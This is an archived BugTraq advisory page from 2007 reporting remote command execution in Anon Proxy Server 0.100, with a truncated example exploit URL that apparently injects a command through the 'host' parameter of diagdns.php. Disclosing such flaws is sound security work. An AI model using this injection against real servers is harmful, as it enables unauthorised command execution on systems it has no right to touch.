BugTraq
Name:
Email:
*Note: Email address will appear as "user domain ext" to prevent harvesting.
Subject:
Message:
 
Anon Proxy Server - Remote Code Execution Dec 14 2007 10:05PM
th3 r00k nospam pork gmail com
By Michael Brooks

Vulnerability type: Multiple Remote System commands execution.

Software: Anon Proxy Server

Home page:http://sourceforge.net/projects/anonproxyserver/

Affects version: 0.100

Example exploit:

http://127.0.0.1/anon_proxy_server_0.100/diagdns.php?host=google.com%...

[ more ]  
 

Privacy Statement
Copyright 2010, SecurityFocus